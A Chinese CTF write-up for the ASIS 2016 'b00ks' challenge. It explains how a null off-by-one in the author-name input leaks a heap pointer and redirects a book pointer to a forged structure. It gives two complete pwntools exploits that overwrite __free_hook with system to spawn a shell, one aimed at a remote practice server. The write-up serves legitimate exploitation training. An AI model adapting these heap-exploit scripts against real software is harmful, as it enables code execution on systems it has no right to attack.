当前位置:网站首页>Asis2016 books null off by one
Asis2016 books null off by one
2022-08-11 05:29:00 【Mauricio_Davis】
考察点
- 如何利用null off by one 泄露chunk地址
- 如何利用null off by one 改变指针的指向
知识点
- mmap申请的chunk其在gdb里面使用heap无法看见所在地,mmap申请的chunk其地址为libc基地址+偏移,目前我是通过search 字符串 ,去查找mmap的chunk
- 一般情况下申请的chunk如果大于0x20000就会使用mmap来分配
程序分析
- 直接看伪代码的menu,程序有以下操作
- create创建book,其结构如下: chunk的申请顺序为name->des->book
struct book{
int idx;
char* name;
char* description;
int size;
}
- 更改作者名,写入内容都是用着自己编写的输入函数,但是在输入作者名传参的时候出现了null off by one漏洞,他输入的是32,那么我们如果输入的作者名达到32字节,也就是下标[31]输入完成之后,i变成了32,然后置为0,显然溢出赋值了
- 其他函数比较常规,释放函数释放的顺序为name->des->book,最后把存贮book地址的地方置0,没有uaf
利用分析
通过分析程序,我们发现作者名和book结构的指针都是存放在bss段里面的,202010是存放book结构指针的地址,202018是存放作者的地址,我们看右边在bss里面的偏移发现,作者名在book指针的上面,而且他们是连在一起的,只要我们把作者名填写0x20进入,那么我们在打印作者名的时候后面的第一个book指针就可以泄露出来
还发现这个null off by one,还可以将存放第一个book结构的指针的最后一个字节覆盖为0,然而程序是通过这上面的地址去进行写入操作,那么当我们申请chunk的时候注意控制chunk的大小,通过覆盖最后一个字节使他指向book1的des
需要注意的是内存基本上都是按页分配也就是0x1000,最后3位基本上0,但是这个程序会首先生成一个页chunk,导致了我们申请的第一个chunk不是从000开始的而是从010开始的,可以自行gdb调试,或者通过计算自己创建的第一个book,然后泄露出他的地址-去前面的chunk得到第一个chunk头的地址也可以发现
- 如下所示,进行如下chunk布局时,我们将book的0x5130覆盖最后一个字节之后就会变成,0x5100,就会指向des的chunk
- 通过book提前在des里面,伪造一个book结构,
- 让fake book的name->book2_name,fake book的des->book2_des,
- 此时我们对book1的des编辑就是在改写book2的存放des指针的位置
- 最后编辑book2,我们就可以对任意内存改写
exp
- 方法一:本地环境和远端环境一致的情况下,我们要泄露libc地址去改写free_hook指针,前面提到过mmap申请的chunk地址,用的是libc的基地址+offset,通过这种方式泄露libc,然后改写free_hook为system
from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
#c=remote(b'node4.buuoj.cn',28630)
libc=ELF(b'./libc-2.23.so')
c = process(b'./b00ks')
gdb.attach(c,''' b *$rebase(0x127F) b *$rebase(0x0A75) ''')
def add(name_size,name_content,des_size,des_content):
c.recvuntil(b'> ')
c.sendline(b'1')
c.recvuntil(b'size: ')
c.sendline(str(name_size))
c.recvuntil(b': ')
c.sendline(name_content)
c.recvuntil(b'size: ')
c.sendline(str(des_size))
c.recvuntil(b': ')
c.sendline(des_content)
def free(books_idx):
c.recvuntil(b'> ')
c.sendline(b'2')
c.recvuntil(b'delete: ')
c.sendline(str(books_idx))
def change_des(books_idx,des_content):
c.recvuntil(b'> ')
c.sendline(b'3')
c.recvuntil(b'edit: ')
c.sendline(str(books_idx))
c.recvuntil(b': ')
c.sendline(des_content)
def show(books_idx):
c.recvuntil(b'> ')
c.sendline(b'4')
c.recvuntil(b': ')
for i in range(books_idx):
books_idx=int(c.recvuntil(b'\n')[:-1])
c.recvuntil(b': ')
books_name=c.recvuntil(b'\n')[:-1]
c.recvuntil(b': ')
books_des=c.recvuntil(b'\n')[:-1]
c.recvuntil(b': ')
books_author=c.recvuntil(b'\n')[:-1]
return books_idx,books_name,books_des,books_author
def change_name(name):
c.recvuntil(b'> ')
c.sendline(b'5')
c.recvuntil(b': ')
c.sendline(name)
def first_name(name):
c.recvuntil(b'name: ')
c.sendline(name)
##############################################################
first_name(b'a'*32)
add(0xd0,b'aaaaaaaa',0x20,b'bbbbbbbb')
add(0x21000,b'/bin/sh',0x21000,b'dddddddd')#使改chunk用mmap来分配chunk,注意那么的内容要是/bin/sh
book1_idx,book1_name,book1_des,book1_author=show(1)
#接受完作者名之后就是book1_addr
book1_addr=u64(book1_author[32:32+6].ljust(8,b'\x00'))
log.success("book1_addr:"+hex(book1_addr))
##############################################################
#伪造fake book,name,des分别指向book2的name,des
py=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p32(0xffff)
change_des(1,py)
change_name(b'a'*32)#覆盖book1的最后一个字节,因为小端序
book2_idx,book2_name,book2_des,book2_author=show(1)
libc_offset=u64(book2_name.ljust(8,b'\x00'))
log.success("libc_offset:"+hex(libc_offset))#拿到namechunk的地址
libc_base=libc_offset-0x22010-0x5a8000#-去他们的偏移拿到libc_base,远端本地环境一致的情况下可以gdb调出偏移
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))
free_hook=libc_base+libc.sym['__free_hook']
py=p64(free_hook)#通过book1改写book2des的指针为free_hook
change_des(1,py)
py=p64(sys)
change_des(2,py)#通过book2改写free_hook为system
free(2)#拿到shell
c.interactive()
- 方法二。泄露book1_addr与上述一致,泄露libc的方法为,将book2的name申请为可以放入unsorted bin的chunk,师傅时候,通过打印book1拿到main_arean+offset偏移,一般情况下,这样泄露的地址该偏移为88,然后main_arean-0x10就是malloc_hook的地址
from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
c=remote(b'node4.buuoj.cn',28967)
libc=ELF(b'./libc-2.23.so')
#c = process(b'./b00ks')
def add(name_size,name_content,des_size,des_content):
c.recvuntil(b'> ')
c.sendline(b'1')
c.recvuntil(b'size: ')
c.sendline(str(name_size))
c.recvuntil(b': ')
c.sendline(name_content)
c.recvuntil(b'size: ')
c.sendline(str(des_size))
c.recvuntil(b': ')
c.sendline(des_content)
def free(books_idx):
c.recvuntil(b'> ')
c.sendline(b'2')
c.recvuntil(b'delete: ')
c.sendline(str(books_idx))
def change_des(books_idx,des_content):
c.recvuntil(b'> ')
c.sendline(b'3')
c.recvuntil(b'edit: ')
c.sendline(str(books_idx))
c.recvuntil(b': ')
c.sendline(des_content)
def show(books_idx):
c.recvuntil(b'> ')
c.sendline(b'4')
c.recvuntil(b': ')
for i in range(books_idx):
books_idx=int(c.recvuntil(b'\n')[:-1])
c.recvuntil(b': ')
books_name=c.recvuntil(b'\n')[:-1]
c.recvuntil(b': ')
books_des=c.recvuntil(b'\n')[:-1]
c.recvuntil(b': ')
books_author=c.recvuntil(b'\n')[:-1]
return books_idx,books_name,books_des,books_author
def change_name(name):
c.recvuntil(b'> ')
c.sendline(b'5')
c.recvuntil(b': ')
c.sendline(name)
def first_name(name):
c.recvuntil(b'name: ')
c.sendline(name)
##############################################################
first_name(b'a'*32)
add(0xd0,b'aaaaaaaa',0x20,b'bbbbbbbb')
add(0x90,b'/bin/sh',0x60,b'dddddddd')#注意name的大小,我们最后要释放book2,只需要一个是在unsorted bin的chunk
book1_idx,book1_name,book1_des,book1_author=show(1)
book1_addr=u64(book1_author[32:32+6].ljust(8,b'\x00'))
log.success("book1_addr:"+hex(book1_addr))
##############################################################
py=p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p32(0xffff)
change_des(1,py)
change_name(b'a'*32)
free(2)
book2_idx,book2_name,book2_des,book2_author=show(1)
main_arean_offset=u64(book2_name.ljust(8,b'\x00'))
log.success("mian_arean_offset:"+hex(main_arean_offset))
malloc_hook=main_arean_offset-88-0x10
log.success("malloc_hook:"+hex(malloc_hook))
libc_base=malloc_hook-libc.sym['__malloc_hook']
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))
free_hook=libc_base+libc.sym['__free_hook']
################################################################
add(0x21000,b'/bin/sh',0x21000,b'/bin/sh')
py=p64(free_hook)
change_des(1,py)
py=p64(sys)
change_des(3,py)#这里就要注意了,为什么是3不是2,我们前面已经申请了book2了,即使释放,记录编号的变量不会变而是继续累加,所以我们第三次申请的book就是3
free(3)
c.interactive()
- 方法3, 使用fastbin attack,来改写malloc_hook,或者free_hook
这里就讲述了有兴趣的师傅可以参考链接一
边栏推荐
- 论文解读TransFG: A Transformer Architecture for Fine-grained Recognition
- Minutes of OpenMLDB Meetup No.2
- C语言实现简易扫雷(附带源码)
- 使用c语言实现井字棋(有源码,可以直接运行)
- Day 68
- Matplotlib找不到字体,打印乱码
- OpenMLDB: Consistent production-level feature computing platform online and offline
- 字节(byte)和位(bit)
- Fourth Paradigm OpenMLDB optimization innovation paper was accepted by VLDB, the top international database association
- 何凯明新作ViTDET:目标检测领域,颠覆分层backbone理念
猜你喜欢
微信小程序云开发项目wx-store代码详解
USB in NRZI to encode the data
Day 78
He Kaiming's new work ViTDET: target detection field, subverting the concept of layered backbone
Visual studio2019 configuration uses pthread
USB URB
Use the adb command to manage applications
JS advanced web page special effects (pink teacher notes)
Interpretation of the paper: Cross-Modality Fusion Transformer for Multispectral Object Detection
Tinker的自我介绍
随机推荐
何凯明新作ViTDET:目标检测领域,颠覆分层backbone理念
SearchGuard证书配置
OpenMLDB: Consistent production-level feature computing platform online and offline
JS this关键字
JS事件循环机制
js learning advanced BOM part (pink teacher notes)
实时特征计算平台架构方法论和基于 OpenMLDB 的实践
父子节点数据格式不一致的树状列表实现
JS小技巧,让你编码效率杠杠的,快乐摸鱼
The Summer of Open Source 2022 is coming | Welcome to sign up for the OpenMLDB community project~
js 学习进阶(事件高级 pink老师教学笔记)
编译异常解决
IIC 和 SPI
OpenMLDB + Jupyter Notebook: Quickly Build Machine Learning Applications
JVM调优整理
【无标题】
本地缓存cookie的使用
JS进阶网页特效(pink老师笔记)
Regular expression replacement for batch quick modification code
Compilation exception resolution